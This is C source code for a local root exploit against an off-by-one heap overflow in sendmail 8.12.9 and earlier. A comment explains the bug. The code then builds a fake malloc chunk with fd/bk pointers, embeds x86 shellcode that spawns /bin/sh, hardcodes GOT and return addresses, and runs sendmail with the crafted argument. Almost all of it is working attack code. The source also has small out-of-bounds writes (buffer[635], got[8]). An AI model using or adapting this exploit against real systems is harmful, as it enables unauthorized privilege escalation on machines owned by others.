/* Local exploit for the old sendmail vuln found by lcamtuf in 8.12.9 and below.
* by Gyan Chawdhary, gunnu45@hotmail.com
*
* Greets
* sorbo: all the credits go to him for the ideas regarding the exploitation..
* lcamtuf: for finding such a subtle bug ..
* dvorak, scut, gera ..
*
* Theory
* The problem lies in the prescan function. When returnnull is called it does
* not do a check to see if p > addr. This results into p pointing past the
* array by one byte into the size field tag of the next malloc chunk
* ( due to the fact that bufp is allocated in the heap. This value is assigned
* to *delimptr which is used by invalidaddr in parseaddr. The invalidaddr
* function  checks for addresses containing characters used by macros. During
* the parsing of the addrs by invalidaddr, it also checks for illegal chars
* in the adress itself, and if found they are replaced with
* BAD_CHAR_REPLACEMENT (depending on the size field of the allocation of our
* buffer) which is defined as "?" (hex 3f) Due to the offbyone overflow in
* prescan, invalidaddr modifies our chunk value which is later used by free()
* when sm_free(bufp) is called, in return making sendmail vomit !!!!.
* Read the code for details.
*
* Gyan
*/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char sc[] =
       "\xeb\x0a"
       "AAAAAAAAAA"
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define CHUNK_SIZE 635
/* This function creats the string with fd and bk pointers and  the shellcode.
* Heap will look like this
*---------------------------------------------------------------------
 size = 281|                    |size 23f|fd|bk|shellcode|BBBBBBBB
----------------------------------------------------------------------
* When sm_free(bufp) is called it will consolidate the next buffer, and
* use the fd and bk fields with our value which will allow us to overwrite
*/
char *xp_evilstring(int got, int retloc)
{
    int s;
    char *ptr;
       static char buffer[635];
    ptr = buffer;
    *( (int **)ptr ) = (int *)( got - 12 );
    ptr+=4;
    *( (int **)ptr ) = (int *)( retloc );
    ptr+=4;
    *ptr = '\n';
    ptr++;
    
    /* The '\n' is used for allocating nother buffer in sendtolist by
     * denlstring which will copy our fake chunk and which will be later
     * on consolidated while sm_free(bufp) is called.
     */
    memcpy(ptr, sc, strlen(sc));
    ptr+=strlen(sc);
    memset(ptr, 'B', sizeof(buffer) - (strlen(sc)+4+4));
    /* Used for having the lsb to 0 so that free() will conolidate it with
     * the other chunk
     */
    buffer[635] = '\0';
    ptr = buffer;
    s = strlen(ptr);
//    printf("%d\n", s);
//    printf("%s\n", ptr);
    return ptr;    
    
}
/*GOT code*/
#define GREP     "/bin/grep"
#define OBJDUMP "/usr/bin/objdump"
#define AWK     "/bin/awk"
int xp_getgot(const char *filename, char *function)
{
    char command[512];
    FILE *file;
    char got[8];
    snprintf(command, sizeof(command), "%s -R %s | %s \"%s\" | %s '{print $1}               '", OBJDUMP, filename, GREP, function, AWK);
    file = (FILE *)popen(command, "r");    
    fgets(got, 11, file);
    pclose(file);
    got[8] = '\0';
    return (strtoul(got, NULL, 16));
}
char *sendmail ="/usr/sbin/sendmail";
main(int argv, char **argc)
{    
    char *c;
    int got = 0x080c1a90;
    int retloc = 0xC0000000 - 4- strlen(sendmail) -1 - strlen(sc)-1;
    
    char *arg[] = { "owned",NULL,sc, NULL };
    c = xp_evilstring(got, retloc);
    printf("%s\n", c);
    arg[1] = xp_evilstring(got, retloc);    
    execve(sendmail,arg,NULL);
}